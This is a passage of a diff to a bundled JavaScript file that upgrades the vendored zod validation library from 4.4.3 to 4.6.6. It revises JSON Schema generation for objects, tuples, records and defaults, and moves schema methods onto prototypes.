shape) { - json3.properties[key] = process2(shape[key], ctx, { + assignProp(json3.properties, key, processSchema(shape[key], ctx, { ...params, path: [...params.path, "properties", key] - }); + })); } - const allKeys = new Set(Object.keys(shape)); - const requiredKeys = new Set([...allKeys].filter((key) => { - const v = def.shape[key]._zod; - if (ctx.io === "input") { - return v.optin === void 0; - } else { - return v.optout === void 0; + const requiredKeys = []; + for (const key of Object.keys(shape)) { + const field = def.shape[key]; + if (ctx.io === "input" ? inputOptin(field) === void 0 : field._zod.optout === void 0) { + requiredKeys.push(key); } - })); - if (requiredKeys.size > 0) { - json3.required = Array.from(requiredKeys); + } + if (requiredKeys.length > 0) { + json3.required = requiredKeys; } if (def.catchall?._zod.def.type === "never") { json3.additionalProperties = false; @@ -58836,7 +63295,7 @@ var objectProcessor = (schema, ctx, _json, params) => { if (ctx.io === "output") json3.additionalProperties = false; } else if (def.catchall) { - json3.additionalProperties = process2(def.catchall, ctx, { + json3.additionalProperties = processSchema(def.catchall, ctx, { ...params, path: [...params.path, "additionalProperties"] }); @@ -58845,7 +63304,7 @@ var objectProcessor = (schema, ctx, _json, params) => { var unionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; const isExclusive = def.inclusive === false; - const options = def.options.map((x, i) => process2(x, ctx, { + const options = def.options.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, isExclusive ? "oneOf" : "anyOf", i] })); @@ -58857,11 +63316,11 @@ var unionProcessor = (schema, ctx, json3, params) => { }; var intersectionProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const a = process2(def.left, ctx, { + const a = processSchema(def.left, ctx, { ...params, path: [...params.path, "allOf", 0] }); - const b2 = process2(def.right, ctx, { + const b2 = processSchema(def.right, ctx, { ...params, path: [...params.path, "allOf", 1] }); @@ -58871,6 +63330,7 @@ var intersectionProcessor = (schema, ctx, json3, params) => { ...isSimpleIntersection(b2) ? b2.allOf : [b2] ]; json3.allOf = allOf; + ctx.intersections.push(allOf); }; var tupleProcessor = (schema, ctx, _json, params) => { const json3 = _json; @@ -58878,19 +63338,35 @@ var tupleProcessor = (schema, ctx, _json, params) => { json3.type = "array"; const prefixPath = ctx.target === "draft-2020-12" ? "prefixItems" : "items"; const restPath = ctx.target === "draft-2020-12" ? "items" : ctx.target === "openapi-3.0" ? "items" : "additionalItems"; - const prefixItems = def.items.map((x, i) => process2(x, ctx, { + const prefixItems = def.items.map((x, i) => processSchema(x, ctx, { ...params, path: [...params.path, prefixPath, i] })); - const rest = def.rest ? process2(def.rest, ctx, { + const rest = def.rest ? processSchema(def.rest, ctx, { ...params, path: [...params.path, restPath, ...ctx.target === "openapi-3.0" ? [def.items.length] : []] }) : null; + let minItems = def.items.length; + while (minItems > 0) { + const item = def.items[minItems - 1]; + const optional2 = ctx.io === "input" ? inputOptin(item) !== void 0 : item._zod.optout === "optional"; + if (!optional2) + break; + minItems--; + } + const maxItems = def.items.length; + const isClosed = !def.rest; if (ctx.target === "draft-2020-12") { json3.prefixItems = prefixItems; - if (rest) { + if (isClosed) { + json3.items = false; + } else if (rest) { json3.items = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else if (ctx.target === "openapi-3.0") { json3.items = { anyOf: prefixItems @@ -58898,61 +63374,137 @@ var tupleProcessor = (schema, ctx, _json, params) => { if (rest) { json3.items.anyOf.push(rest); } - json3.minItems = prefixItems.length; - if (!rest) { - json3.maxItems = prefixItems.length; - } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } else { json3.items = prefixItems; - if (rest) { + if (isClosed) { + json3.additionalItems = false; + } else if (rest) { json3.additionalItems = rest; } + if (minItems > 0) + json3.minItems = minItems; + if (isClosed) + json3.maxItems = maxItems; } - const { minimum, maximum } = schema._zod.bag; + const { minimum, maximum } = aggregateChecks(schema); if (typeof minimum === "number") json3.minItems = minimum; if (typeof maximum === "number") json3.maxItems = maximum; }; +function stringifyKeyNames(bySchema, json3, visited) { + if (json3.$ref) { + if (visited.has(json3)) + return json3; + visited.add(json3); + const def = bySchema.get(json3)?.def; + if (!def) + return json3; + const inlined = stringifyKeyNames(bySchema, def, visited); + return inlined === def ? json3 : inlined; + } + for (const keyword of ["anyOf", "oneOf"]) { + const branches = json3[keyword]; + if (!Array.isArray(branches)) + continue; + const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited)); + if (mapped.some((branch, i) => branch !== branches[i])) + json3 = { ...json3, [keyword]: mapped }; + } + const types2 = Array.isArray(json3.type) ? json3.type : [json3.type]; + const numericType = !types2.includes("string") && types2.some((t) => t === "number" || t === "integer"); + const values2 = json3.enum ?? (json3.const !== void 0 ? [json3.const] : void 0); + if (!numericType && !values2?.some((v) => typeof v === "number")) + return json3; + const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json3; + if (rest.enum) + rest.enum = rest.enum.map((v) => typeof v === "number" ? String(v) : v); + else if (typeof rest.const === "number") + rest.const = String(rest.const); + if (!numericType) + return rest; + rest.type = "string"; + if (!values2) + rest.pattern = (types2.includes("number") ? number : integer).source; + return rest; +} +var pendingRecords = /* @__PURE__ */ new WeakMap(); +function rewriteKeyNames(ctx) { + const bySchema = /* @__PURE__ */ new Map(); + for (const entry of ctx.seen.values()) { + if (entry.def && !bySchema.has(entry.schema)) + bySchema.set(entry.schema, entry); + } + const rewrites = /* @__PURE__ */ new Map(); + for (const record2 of pendingRecords.get(ctx) ?? []) { + const seen = ctx.seen.get(record2); + const names = (seen?.def ?? seen?.schema)?.propertyNames; + if (!names || names === true || rewrites.has(names)) + continue; + const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set()); + if (rewritten !== names) + rewrites.set(names, rewritten); + } + if (!rewrites.size) + return; + for (const entry of ctx.seen.values()) { + for (const carrier of [entry.schema, entry.def]) { + const rewritten = carrier && rewrites.get(carrier.propertyNames); + if (rewritten) + carrier.propertyNames = rewritten; + } + } +} var recordProcessor = (schema, ctx, _json, params) => { const json3 = _json; const def = schema._zod.def; json3.type = "object"; const keyType = def.keyType; - const keyBag = keyType._zod.bag; - const patterns = keyBag?.patterns; + const patterns = aggregateChecks(keyType).patterns; if (def.mode === "loose" && patterns && patterns.size > 0) { - const valueSchema = process2(def.valueType, ctx, { + const valueSchema = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "patternProperties", "*"] }); json3.patternProperties = {}; for (const pattern of patterns) { - json3.patternProperties[pattern.source] = valueSchema; + assignProp(json3.patternProperties, exactPattern(pattern).source, valueSchema); } } else { if (ctx.target === "draft-07" || ctx.target === "draft-2020-12") { - json3.propertyNames = process2(def.keyType, ctx, { + json3.propertyNames = processSchema(def.keyType, ctx, { ...params, path: [...params.path, "propertyNames"] }); + let pending = pendingRecords.get(ctx); + if (!pending) { + pending = []; + pendingRecords.set(ctx, pending); + ctx.deferred.push(() => rewriteKeyNames(ctx)); + } + pending.push(schema); } - json3.additionalProperties = process2(def.valueType, ctx, { + json3.additionalProperties = processSchema(def.valueType, ctx, { ...params, path: [...params.path, "additionalProperties"] }); } const keyValues = keyType._zod.values; - if (keyValues) { + const omittableOnInput = ctx.io === "input" && inputOptin(def.valueType) !== void 0; + if (keyValues && !def.partial && !omittableOnInput) { const validKeyValues = [...keyValues].filter((v) => typeof v === "string" || typeof v === "number"); if (validKeyValues.length > 0) { - json3.required = validKeyValues; + json3.required = validKeyValues.map(String); } } }; var nullableProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - const inner = process2(def.innerType, ctx, params); + const inner = processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); if (ctx.target === "openapi-3.0") { seen.ref = def.innerType; @@ -58963,35 +63515,55 @@ var nullableProcessor = (schema, ctx, json3, params) => { }; var nonoptionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; +var UNREPRESENTABLE_DEFAULT = Symbol(); +function serializeDefaultValue(value, schema, ctx, json3, params) { + let unrepresentable = false; + const serialized = JSON.stringify(value, (_, val) => { + if (typeof val !== "bigint") + return val; + unrepresentable = true; + return null; + }); + if (!unrepresentable) + return JSON.parse(serialized); + handleUnrepresentable(schema, ctx, json3, params, "BigInt defaults cannot be represented in JSON Schema"); + return UNREPRESENTABLE_DEFAULT; +} var defaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - json3.default = JSON.parse(JSON.stringify(def.defaultValue)); + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3.default = value; }; var prefaultProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; - if (ctx.io === "input") - json3._prefault = JSON.parse(JSON.stringify(def.defaultValue)); + if (ctx.io !== "input") + return; + const value = serializeDefaultValue(def.defaultValue, schema, ctx, json3, params); + if (value !== UNREPRESENTABLE_DEFAULT) + json3._prefault = value; }; var catchProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; let catchValue; try { catchValue = def.catchValue(void 0); } catch { - throw new Error("Dynamic catch values are not supported in JSON Schema"); + handleUnrepresentable(schema, ctx, json3, params, "Dynamic catch values are not supported in JSON Schema"); + return; } json3.default = catchValue; }; @@ -58999,32 +63571,32 @@ var pipeProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; const inIsTransform = def.in._zod.traits.has("$ZodTransform"); const innerType = ctx.io === "input" ? inIsTransform ? def.out : def.in : def.out; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; var readonlyProcessor = (schema, ctx, json3, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; json3.readOnly = true; }; var promiseProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var optionalProcessor = (schema, ctx, _json, params) => { const def = schema._zod.def; - process2(def.innerType, ctx, params); + processSchema(def.innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = def.innerType; }; var lazyProcessor = (schema, ctx, _json, params) => { const innerType = schema._zod.innerType; - process2(innerType, ctx, params); + processSchema(innerType, ctx, params); const seen = ctx.seen.get(schema); seen.ref = innerType; }; @@ -59069,14 +63641,14 @@ var allProcessors = { optional: optionalProcessor, lazy: lazyProcessor }; -function toJSONSchema(input, params) { - if ("_idmap" in input) { - const registry2 = input; +function toJSONSchema(input2, params) { + if ("_idmap" in input2) { + const registry2 = input2; const ctx2 = initializeContext({ ...params, processors: allProcessors }); const defs = {}; for (const entry of registry2._idmap.entries()) { const [_, schema] = entry; - process2(schema, ctx2); + processSchema(schema, ctx2); } const schemas = {}; const external = { @@ -59088,7 +63660,7 @@ function toJSONSchema(input, params) { for (const entry of registry2._idmap.entries()) { const [key, schema] = entry; extractDefs(ctx2, schema); - schemas[key] = finalize(ctx2, schema); + assignProp(schemas, key, finalize(ctx2, schema)); } if (Object.keys(defs).length > 0) { const defsSegment = ctx2.target === "draft-2020-12" ? "$defs" : "definitions"; @@ -59099,12 +63671,12 @@ function toJSONSchema(input, params) { return { schemas }; } const ctx = initializeContext({ ...params, processors: allProcessors }); - process2(input, ctx); - extractDefs(ctx, input); - return finalize(ctx, input); + processSchema(input2, ctx); + extractDefs(ctx, input2); + return finalize(ctx, input2); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-generator.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema-generator.js var JSONSchemaGenerator = class { /** @deprecated Access via ctx instead */ get metadataRegistry() { @@ -59114,6 +63686,7 @@ var JSONSchemaGenerator = class { get target() { return this.ctx.target; } + // annotated so the .d.cts emits an indexed access rather than an inline `import()` of an ESM path /** @deprecated Access via ctx instead */ get unrepresentable() { return this.ctx.unrepresentable; @@ -59157,7 +63730,7 @@ var JSONSchemaGenerator = class { * This must be called before emit(). */ process(schema, _params = { path: [], schemaPath: [] }) { - return process2(schema, this.ctx, _params); + return processSchema(schema, this.ctx, _params); } /** * Emit the final JSON Schema after processing. @@ -59172,6 +63745,8 @@ var JSONSchemaGenerator = class { if (_params.external) this.ctx.external = _params.external; } + this.ctx.sharedDefsExtractedFor = void 0; + this.ctx.sharedEmitDoneFor = void 0; extractDefs(this.ctx, schema); const result = finalize(this.ctx, schema); const { "~standard": _, ...plainResult } = result; @@ -59179,10 +63754,10 @@ var JSONSchemaGenerator = class { } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/json-schema.js var json_schema_exports = {}; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js var schemas_exports2 = {}; __export(schemas_exports2, { ZodAny: () => ZodAny, @@ -59198,6 +63773,7 @@ __export(schemas_exports2, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -59211,8 +63787,14 @@ __export(schemas_exports2, { ZodFile: () => ZodFile, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodJWT: () => ZodJWT, ZodKSUID: () => ZodKSUID, @@ -59268,10 +63850,12 @@ __export(schemas_exports2, { cidrv4: () => cidrv42, cidrv6: () => cidrv62, codec: () => codec, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -59288,6 +63872,7 @@ __export(schemas_exports2, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -59353,7 +63938,7 @@ __export(schemas_exports2, { xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/checks.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/checks.js var checks_exports2 = {}; __export(checks_exports2, { endsWith: () => _endsWith, @@ -59376,6 +63961,7 @@ __export(checks_exports2, { normalize: () => _normalize, overwrite: () => _overwrite, positive: () => _positive, + properties: () => _properties, property: () => _property, regex: () => _regex, size: () => _size, @@ -59387,88 +63973,53 @@ __export(checks_exports2, { uppercase: () => _uppercase }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js -var iso_exports = {}; -__export(iso_exports, { - ZodISODate: () => ZodISODate, - ZodISODateTime: () => ZodISODateTime, - ZodISODuration: () => ZodISODuration, - ZodISOTime: () => ZodISOTime, - date: () => date2, - datetime: () => datetime2, - duration: () => duration2, - time: () => time2 -}); -var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { - $ZodISODateTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function datetime2(params) { - return _isoDateTime(ZodISODateTime, params); -} -var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { - $ZodISODate.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function date2(params) { - return _isoDate(ZodISODate, params); -} -var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { - $ZodISOTime.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function time2(params) { - return _isoTime(ZodISOTime, params); -} -var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { - $ZodISODuration.init(inst, def); - ZodStringFormat.init(inst, def); -}); -function duration2(params) { - return _isoDuration(ZodISODuration, params); +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/errors.js +var _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +function _lazyMethod(proto, key, make) { + Object.defineProperty(proto, key, { + configurable: true, + enumerable: false, + get() { + const value = make(this); + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, key, { value, configurable: true, writable: true }); + } + }); } - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js var initializer2 = (inst, issues) => { $ZodError.init(inst, issues); inst.name = "ZodError"; - Object.defineProperties(inst, { - format: { - value: (mapper) => formatError(inst, mapper) - // enumerable: false, - }, - flatten: { - value: (mapper) => flattenError(inst, mapper) - // enumerable: false, - }, - addIssue: { - value: (issue2) => { - inst.issues.push(issue2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - addIssues: { - value: (issues2) => { - inst.issues.push(...issues2); - inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2); - } - // enumerable: false, - }, - isEmpty: { - get() { - return inst.issues.length === 0; - } - // enumerable: false, + const proto = Object.getPrototypeOf(inst); + if (_installedErrorProtos.has(proto)) + return; + _installedErrorProtos.add(proto); + _lazyMethod(proto, "format", (self2) => (mapper) => formatError(self2, mapper)); + _lazyMethod(proto, "flatten", (self2) => (mapper) => flattenError(self2, mapper)); + _lazyMethod(proto, "addIssue", (self2) => (issue2) => { + self2.issues.push(issue2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + _lazyMethod(proto, "addIssues", (self2) => (issues2) => { + self2.issues.push(...issues2); + self2.message = JSON.stringify(self2.issues, jsonStringifyReplacer, 2); + }); + Object.defineProperty(proto, "isEmpty", { + configurable: true, + enumerable: false, + get() { + return this.issues.length === 0; } }); }; var ZodError = /* @__PURE__ */ $constructor("ZodError", initializer2); -var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, { +var ZodRealError = /* @__PURE__ */ $constructor("ZodError", initializer2, void 0, { Parent: Error }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/parse.js var parse2 = /* @__PURE__ */ _parse(ZodRealError); var parseAsync2 = /* @__PURE__ */ _parseAsync(ZodRealError); var safeParse2 = /* @__PURE__ */ _safeParse(ZodRealError); @@ -59482,182 +64033,202 @@ var safeDecode2 = /* @__PURE__ */ _safeDecode(ZodRealError); var safeEncodeAsync2 = /* @__PURE__ */ _safeEncodeAsync(ZodRealError); var safeDecodeAsync2 = /* @__PURE__ */ _safeDecodeAsync(ZodRealError); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js -var _installedGroups = /* @__PURE__ */ new WeakMap(); -function _installLazyMethods(inst, group, methods) { - const proto = Object.getPrototypeOf(inst); - let installed = _installedGroups.get(proto); - if (!installed) { - installed = /* @__PURE__ */ new Set(); - _installedGroups.set(proto, installed); - } - if (installed.has(group)) - return; - installed.add(group); - for (const key in methods) { - const fn = methods[key]; - Object.defineProperty(proto, key, { - configurable: true, - enumerable: false, - get() { - const bound = fn.bind(this); - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: bound - }); - return bound; - }, - set(v) { - Object.defineProperty(this, key, { - configurable: true, - writable: true, - enumerable: true, - value: v - }); - } - }); - } +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/schemas.js +function _ensureDefaultLocale() { + if (!globalConfig.localeError) + config(en_default()); +} +function _ensureDefaultMemoizer() { + if (!globalConfig.memoizer) + config({ memoizer: memoizer() }); } var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { + _ensureDefaultLocale(); $ZodType.init(inst, def); - Object.assign(inst["~standard"], { - jsonSchema: { - input: createStandardJSONSchemaMethod(inst, "input"), - output: createStandardJSONSchemaMethod(inst, "output") - } - }); - inst.toJSONSchema = createToJSONSchemaMethod(inst, {}); inst.def = def; inst.type = def.type; - Object.defineProperty(inst, "_def", { value: def }); - inst.parse = (data, params) => parse2(inst, data, params, { callee: inst.parse }); - inst.safeParse = (data, params) => safeParse2(inst, data, params); - inst.parseAsync = async (data, params) => parseAsync2(inst, data, params, { callee: inst.parseAsync }); - inst.safeParseAsync = async (data, params) => safeParseAsync2(inst, data, params); - inst.spa = inst.safeParseAsync; - inst.encode = (data, params) => encode3(inst, data, params); - inst.decode = (data, params) => decode3(inst, data, params); - inst.encodeAsync = async (data, params) => encodeAsync2(inst, data, params); - inst.decodeAsync = async (data, params) => decodeAsync2(inst, data, params); - inst.safeEncode = (data, params) => safeEncode2(inst, data, params); - inst.safeDecode = (data, params) => safeDecode2(inst, data, params); - inst.safeEncodeAsync = async (data, params) => safeEncodeAsync2(inst, data, params); - inst.safeDecodeAsync = async (data, params) => safeDecodeAsync2(inst, data, params); - _installLazyMethods(inst, "ZodType", { - check(...chks) { - const def2 = this.def; - return this.clone(util_exports.mergeDefs(def2, { - checks: [ - ...def2.checks ?? [], - ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) - ] - }), { parent: true }); - }, - with(...chks) { - return this.check(...chks); - }, - clone(def2, params) { - return clone(this, def2, params); - }, - brand() { - return this; - }, - register(reg, meta3) { - reg.add(this, meta3); - return this; - }, - refine(check3, params) { - return this.check(refine(check3, params)); - }, - superRefine(refinement, params) { - return this.check(superRefine(refinement, params)); - }, - overwrite(fn) { - return this.check(_overwrite(fn)); - }, - optional() { - return optional(this); - }, - exactOptional() { - return exactOptional(this); - }, - nullable() { - return nullable(this); - }, - nullish() { - return optional(nullable(this)); - }, - nonoptional(params) { - return nonoptional(this, params); - }, - array() { - return array(this); - }, - or(arg) { - return union([this, arg]); - }, - and(arg) { - return intersection(this, arg); - }, - transform(tx) { - return pipe(this, transform(tx)); - }, - default(d) { - return _default2(this, d); - }, - prefault(d) { - return prefault(this, d); - }, - catch(params) { - return _catch2(this, params); - }, - pipe(target) { - return pipe(this, target); - }, - readonly() { - return readonly(this); - }, - describe(description) { - const cl = this.clone(); - globalRegistry.add(cl, { description }); - return cl; - }, - meta(...args) { - if (args.length === 0) - return globalRegistry.get(this); - const cl = this.clone(); - globalRegistry.add(cl, args[0]); - return cl; - }, - isOptional() { - return this.safeParse(void 0).success; - }, - isNullable() { - return this.safeParse(null).success; - }, - apply(fn) { - return fn(this); - } - }); - Object.defineProperty(inst, "description", { - get() { - return globalRegistry.get(inst)?.description; - }, - configurable: true - }); return inst; +}, { + check(...chks) { + const def = this.def; + return this.clone(util_exports.mergeDefs(def, { + checks: [ + ...def.checks ?? [], + ...chks.map((ch) => typeof ch === "function" ? { _zod: { check: ch, def: { check: "custom" }, onattach: [] } } : ch) + ] + }), { parent: true }); + }, + with(...chks) { + return this.check(...chks); + }, + clone(def, params) { + return clone(this, def, params); + }, + brand() { + return this; + }, + register(reg, meta3) { + reg.add(this, meta3); + return this; + }, + refine(check3, params) { + return this.check(refine(check3, params)); + }, + superRefine(refinement, params) { + return this.check(superRefine(refinement, params)); + }, + overwrite(fn) { + return this.check(_overwrite(fn)); + }, + optional() { + return optional(this); + }, + exactOptional() { + return exactOptional(this); + }, + nullable() { + return nullable(this); + }, + nullish() { + return optional(nullable(this)); + }, + nonoptional(params) { + return nonoptional(this, params); + }, + array() { + return array(this); + }, + or(arg) { + return union([this, arg]); + }, + and(arg) { + return intersection(this, arg); + }, + transform(tx) { + return pipe(this, transform(tx)); + }, + default(d) { + return _default2(this, d); + }, + prefault(d) { + return prefault(this, d); + }, + catch(params) { + return _catch2(this, params); + }, + pipe(target) { + return pipe(this, target); + }, + readonly() { + return readonly(this); + }, + describe(description) { + const cl = this.clone(); + globalRegistry.add(cl, { description }); + return cl; + }, + meta(...args) { + if (args.length === 0) + return globalRegistry.get(this); + const cl = this.clone(); + globalRegistry.add(cl, args[0]); + return cl; + }, + isOptional() { + return this.safeParse(void 0).success; + }, + isNullable() { + return this.safeParse(null).success; + }, + apply(fn, ...args) { + return args.length === 0 ? fn(this) : fn(this, ...args); + }, + // Overrides core's `~standard` to add `jsonSchema`. Must stay a prototype entry: redefining it per instance demotes instances to dictionary mode. + get "~standard"() { + return util_exports.hide(this, "~standard", { + ...standardProps(this), + jsonSchema: { + input: createStandardJSONSchemaMethod(this, "input"), + output: createStandardJSONSchemaMethod(this, "output") + } + }); + }, + set "~standard"(value) { + util_exports.own(this, "~standard", value); + }, + parse: function _parse2(data, params) { + return parse2(this, data, params, { callee: _parse2 }); + }, + parseAsync: async function _parseAsync2(data, params) { + return await parseAsync2(this, data, params, { callee: _parseAsync2 }); + }, + safeParse(data, params) { + return safeParse2(this, data, params); + }, + async safeParseAsync(data, params) { + return safeParseAsync2(this, data, params); + }, + // `spa` is an alias: same function object as `safeParseAsync`, as before. + get spa() { + return this?.safeParseAsync; + }, + set spa(value) { + util_exports.own(this, "spa", value); + }, + validate(data, params) { + return validate(this, data, params); + }, + validateAsync(data, params) { + return validateAsync(this, data, params); + }, + encode: function _encode2(data, params) { + return encode3(this, data, params, { callee: _encode2 }); + }, + decode: function _decode2(data, params) { + return decode3(this, data, params, { callee: _decode2 }); + }, + encodeAsync: async function _encodeAsync2(data, params) { + return await encodeAsync2(this, data, params, { callee: _encodeAsync2 }); + }, + decodeAsync: async function _decodeAsync2(data, params) { + return await decodeAsync2(this, data, params, { callee: _decodeAsync2 }); + }, + safeEncode(data, params) { + return safeEncode2(this, data, params); + }, + safeDecode(data, params) { + return safeDecode2(this, data, params); + }, + async safeEncodeAsync(data, params) { + return safeEncodeAsync2(this, data, params); + }, + async safeDecodeAsync(data, params) { + return safeDecodeAsync2(this, data, params); + }, + toJSONSchema(params) { + return createToJSONSchemaMethod(this, {})(params); + }, + // Reads through to the registry on every access, so it must not cache. + get description() { + return globalRegistry.get(this)?.description; + }, + // No setter: `schema._def = x` throws, as it did when `_def` was a non-writable own property. + get _def() { + return this._zod.def; + } }); -var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { - $ZodString.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); - const bag = inst._zod.bag; - inst.format = bag.format ?? null; - inst.minLength = bag.minimum ?? null; - inst.maxLength = bag.maximum ?? null; - _installLazyMethods(inst, "_ZodString", { +var _ZodString = /* @__PURE__ */ $constructor( + "_ZodString", + (inst, def) => { + $ZodString.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => stringProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + format: (inst) => aggregateChecks(inst).format ?? null, + minLength: (inst) => aggregateChecks(inst).minimum ?? null, + maxLength: (inst) => aggregateChecks(inst).maximum ?? null + }, { regex(...args) { return this.check(_regex(...args)); }, @@ -59703,38 +64274,90 @@ var _ZodString = /* @__PURE__ */ $constructor("_ZodString", (inst, def) => { slugify() { return this.check(_slugify()); } - }); -}); + }) +); var ZodString = /* @__PURE__ */ $constructor("ZodString", (inst, def) => { $ZodString.init(inst, def); _ZodString.init(inst, def); - inst.email = (params) => inst.check(_email(ZodEmail, params)); - inst.url = (params) => inst.check(_url(ZodURL, params)); - inst.jwt = (params) => inst.check(_jwt(ZodJWT, params)); - inst.emoji = (params) => inst.check(_emoji2(ZodEmoji, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.uuid = (params) => inst.check(_uuid(ZodUUID, params)); - inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params)); - inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params)); - inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params)); - inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params)); - inst.guid = (params) => inst.check(_guid(ZodGUID, params)); - inst.cuid = (params) => inst.check(_cuid(ZodCUID, params)); - inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params)); - inst.ulid = (params) => inst.check(_ulid(ZodULID, params)); - inst.base64 = (params) => inst.check(_base64(ZodBase64, params)); - inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params)); - inst.xid = (params) => inst.check(_xid(ZodXID, params)); - inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params)); - inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params)); - inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params)); - inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params)); - inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params)); - inst.e164 = (params) => inst.check(_e164(ZodE164, params)); - inst.datetime = (params) => inst.check(datetime2(params)); - inst.date = (params) => inst.check(date2(params)); - inst.time = (params) => inst.check(time2(params)); - inst.duration = (params) => inst.check(duration2(params)); +}, { + email(params) { + return this.check(_email(ZodEmail, params)); + }, + url(params) { + return 